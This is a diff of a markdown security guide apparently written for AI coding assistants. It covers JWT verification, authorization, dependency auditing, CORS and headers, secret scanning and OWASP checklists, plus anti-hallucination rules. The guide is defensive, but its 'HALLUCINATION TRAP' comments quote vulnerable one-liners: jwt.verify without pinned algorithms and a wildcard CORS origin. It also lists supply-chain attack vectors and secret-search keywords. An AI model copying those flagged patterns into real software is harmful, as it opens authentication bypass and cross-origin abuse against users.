+ issuer: "myapp",
118
+ });
119
+
120
+ // ✅ SAFE: Verify with explicit algorithms
121
+ const decoded = jwt.verify(token, SECRET, {
122
+ algorithms: ["HS256"], // MUST specify — prevents algorithm confusion attack
123
+ issuer: "myapp",
124
+ });
125
+
126
+ // ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
127
+ // ❌ jwt.verify(token, SECRET); ← accepts ANY algorithm including "none"
128
+ // ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });
129
+
130
+ // Authorization: check BEFORE business logic
131
+ app.delete("/api/posts/:id", async (req, res) => {
132
+ const post = await getPost(req.params.id);
133
+ if (!post) return res.status(404).json({ error: "Not found" });
134
+
135
+ // ✅ Authorization check BEFORE delete
136
+ if (post.authorId !== req.user.id && req.user.role !== "admin") {
137
+ return res.status(403).json({ error: "Forbidden" });
138
+ }
139
+
140
+ await deletePost(post.id);
141
+ res.status(204).send();
142
+ });
143
+ ```
144
+
145
+ ---
146
+
147
+ ## Dependency Security
148
+
149
+ ```bash
150
+ # Check for known vulnerabilities
151
+ npm audit # built-in
152
+ npx snyk test # Snyk (more comprehensive)
153
+ npx socket check # Socket.dev (supply chain)
154
+
155
+ # Auto-fix
156
+ npm audit fix
157
+
158
+ # lock file integrity
159
+ # ✅ Commit package-lock.json / pnpm-lock.yaml
160
+ # ✅ Use npm ci in CI (not npm install)
161
+ # ✅ Pin exact versions for critical dependencies
162
+ # ✅ Enable Dependabot or Renovate for auto-updates
163
+ ```
164
+
165
+ ```
166
+ Supply chain attack vectors:
167
+ 1. Typosquatting → "recat" instead of "react"
168
+ 2. Maintainer hijack → compromised npm account
169
+ 3. Dependency confusion → private package name exists on public registry
170
+ 4. Malicious postinstall → runs arbitrary code on npm install
171
+ 5. Abandoned packages → unmaintained, no security patches
172
+
173
+ Defense:
174
+ - Review new dependencies before adding
175
+ - Use npm audit in CI (fail on high severity)
176
+ - Pin versions, review lockfile diffs
177
+ - Use --ignore-scripts for untrusted packages
178
+ ```
179
+
180
+ ---
181
+
182
+ ## Security Headers
183
+
184
+ ```typescript
185
+ import helmet from "helmet";
186
+
187
+ app.use(helmet()); // Sets secure defaults
188
+
189
+ // Key headers set by helmet:
190
+ // Content-Security-Policy → Controls resource loading
191
+ // X-Content-Type-Options → Prevents MIME sniffing (nosniff)
192
+ // X-Frame-Options → Prevents clickjacking (DENY)
193
+ // Strict-Transport-Security → Forces HTTPS (HSTS)
194
+ // X-XSS-Protection → Legacy XSS filter (deprecated, CSP is better)
195
+ // Referrer-Policy → Controls referrer header
196
+
197
+ // CORS — never wildcard in production
198
+ app.use(
199
+ cors({
200
+ origin: ["https://myapp.com", "https://admin.myapp.com"],
201
+ methods: ["GET", "POST", "PUT", "DELETE"],
202
+ credentials: true,
203
+ }),
204
+ );
205
+
206
+ // ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
207
+ // ❌ cors({ origin: "*" }) ← allows any website to call your API
208
+ // ✅ cors({ origin: ["https://myapp.com"] }) ← whitelist specific domains
209
+ ```
210
+
211
+ ---
212
+
213
+ ## Secret Scanning
214
+
215
+ ```
216
+ Secrets that MUST be in environment variables:
217
+ - Database connection strings
218
+ - API keys (Stripe, SendGrid, etc.)
219
+ - JWT signing secrets
220
+ - OAuth client secrets
221
+ - Encryption keys
222
+
223
+ Detection tools:
224
+ - git-secrets (pre-commit hook)
225
+ - TruffleHog / detect-secrets (scan history)
226
+ - GitHub secret scanning (automatic)
227
+ - GitGuardian (enterprise)
228
+
229
+ If a secret is committed:
230
+ 1. IMMEDIATELY rotate the secret (new key/password)
231
+ 2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
232
+ 3. Force-push cleaned history
233
+ 4. Audit access logs for the compromised secret
234
+ 5. Post-incident review
235
+ ```
236
+
237
+ ---
238
+
239
+ ---
240
+
241
+ ## Security Checklists
242
+
243
+ ---
244
+
245
+ ### OWASP Top 10 Audit Checklist
246
+
247
+ #### A01: Broken Access Control
248
+
249
+ - [ ] Authorization on all protected routes
250
+ - [ ] Deny by default
251
+ - [ ] Rate limiting implemented
252
+ - [ ] CORS properly configured
253
+
254
+ #### A02: Cryptographic Failures
255
+
256
+ - [ ] Passwords hashed (bcrypt/argon2, cost 12+)
257
+ - [ ] Sensitive data encrypted at rest
258
+ - [ ] TLS 1.2+ for all connections
259
+ - [ ] No secrets in code/logs
405
260
 
261
+ #### A03: Injection
262
+
263
+ - [ ] Parameterized queries
264
+ - [ ] Input validation on all user data
265
+ - [ ] Output encoding for XSS
266
+ - [ ] No eval() or dynamic code execution
267
+
268
+ #### A04: Insecure Design
269
+
270
+ - [ ] Threat modeling done
271
+ - [ ] Security requirements defined
272
+ - [ ] Business logic validated
273
+
274
+ #### A05: Security Misconfiguration
275
+
276
+ - [ ] Unnecessary features disabled
277
+ - [ ] Error messages sanitized
278
+ - [ ] Security headers configured
279
+ - [ ] Default credentials changed
280
+
281
+ #### A06: Vulnerable Components
282
+
283
+ - [ ] Dependencies up to date
284
+ - [ ] No known vulnerabilities
285
+ - [ ] Unused dependencies removed
286
+
287
+ #### A07: Authentication Failures
288
+
289
+ - [ ] MFA available
290
+ - [ ] Session invalidation on logout
291
+ - [ ] Session timeout implemented
292
+ - [ ] Brute force protection
293
+
294
+ #### A08: Integrity Failures
295
+
296
+ - [ ] Dependency integrity verified
297
+ - [ ] CI/CD pipeline secured
298
+ - [ ] Update mechanism secured
299
+
300
+ #### A09: Logging Failures
301
+
302
+ - [ ] Security events logged
303
+ - [ ] Logs protected
304
+ - [ ] No sensitive data in logs
305
+ - [ ] Alerting configured
306
+
307
+ #### A10: SSRF
308
+
309
+ - [ ] URL validation implemented
310
+ - [ ] Allow-list for external calls
311
+ - [ ] Network segmentation
312
+
313
+ ---
314
+
315
+ ### Authentication Checklist
316
+
317
+ - [ ] Strong password policy
318
+ - [ ] Account lockout
319
+ - [ ] Secure password reset
320
+ - [ ] Session management
321
+ - [ ] Token expiration
322
+ - [ ] Logout invalidation
323
+
324
+ ---
325
+
326
+ ### API Security Checklist
327
+
328
+ - [ ] Authentication required
329
+ - [ ] Authorization per endpoint
330
+ - [ ] Input validation
331
+ - [ ] Rate limiting
332
+ - [ ] Output sanitization
333
+ - [ ] Error handling
334
+
335
+ ---
336
+
337
+ ### Data Protection Checklist
338
+
339
+ - [ ] Encryption at rest
340
+ - [ ] Encryption in transit
341
+ - [ ] Key management
342
+ - [ ] Data minimization
343
+ - [ ] Secure deletion
344
+
345
+ ---
346
+
347
+ ### Security Headers
348
+
349
+ | Header | Purpose |
350
+ | ----------------------------- | ---------------- |
351
+ | **Content-Security-Policy** | XSS prevention |
352
+ | **X-Content-Type-Options** | MIME sniffing |
353
+ | **X-Frame-Options** | Clickjacking |
354
+ | **Strict-Transport-Security** | Force HTTPS |
355
+ | **Referrer-Policy** | Referrer control |
356
+
357
+ ---
358
+
359
+ ### Quick Audit Commands
360
+
361
+ | Check | What to Look For |
362
+ | ------------------ | --------------------------- |
363
+ | Secrets in code | password, api_key, secret |
364
+ | Dangerous patterns | eval, innerHTML, SQL concat |
365
+ | Dependency issues | npm audit, snyk |
366
+
367
+ ---
368
+
369
+ **Usage:** Copy relevant checklists into your PLAN.md or security report.
370
+
371
+ ---
372
+
373
+ AI coding assistants often fall into specific bad habits when dealing with this domain. These are strictly forbidden:
374
+
375
+ 1. **Over-engineering:** Proposing complex abstractions or distributed systems when a simpler approach suffices.
376
+ 2. **Hallucinated Libraries/Methods:** Using non-existent methods or packages. Always `// VERIFY` or check `package.json` / `requirements.txt`.
377
+ 3. **Skipping Edge Cases:** Writing the "happy path" and ignoring error handling, timeouts, or data validation.
378
+ 4. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
379
+ 5. **Silent Degradation:** Catching and suppressing errors without logging or re-raising.
380
+
381
+ ---
382
+
383
+ **Slash command: `/review` or `/tribunal-full`**
384
+ **Active reviewers: `logic-reviewer` · `security-auditor`**
385
+
386
+ ### ❌ Forbidden AI Tropes
387
+
388
+ 1. **Blind Assumptions:** Never make an assumption without documenting it clearly with `// VERIFY: [reason]`.
389
+ 2. **Silent Degradation:** Catching and suppressing errors without logging or handling.
390
+ 3. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
391
+
392
+ Review these questions before confirming output:
393
+
394
+ ```
395
+ ✅ Did I rely ONLY on real, verified tools and methods?
396
+ ✅ Is this solution appropriately scoped to the user's constraints?
397
+ ✅ Did I handle potential failure modes and edge cases?
398
+ ✅ Have I avoided generic boilerplate that doesn't add value?
399
+ ```
400
+
401
+ ### 🛑 Verification-Before-Completion (VBC) Protocol
402
+
403
+ **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
404
+
405
+ - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
406
+ - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.
407
+
408
+ ## Pre-Flight Checklist
409
+
410
+ - [ ] Have I reviewed the user's specific constraints and requests?
411
+ - [ ] Have I checked the environment for relevant existing implementations?
412
+
413
+ ## VBC Protocol (Verification-Before-Completion)
414
+
415
+ You MUST verify existing code signatures and variables before attempting to modify or call them. No hallucination is permitted.
406
416
 
407
417
  ---
408
418
 
@@ -432,6 +442,7 @@ AI coding assistants often fall into specific bad habits when dealing with this
432
442
  ### ✅ Pre-Flight Self-Audit
433
443
 
434
444
  Review these questions before confirming output:
445
+
435
446
  ```
436
447
  ✅ Did I rely ONLY on real, verified tools and methods?
437
448
  ✅ Is this solution appropriately scoped to the user's constraints?
@@ -442,5 +453,6 @@ Review these questions before confirming output:
442
453
  ### 🛑 Verification-Before-Completion (VBC) Protocol
443
454
 
444
455
  **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
456
+
445
457
  - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
446
458
  - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.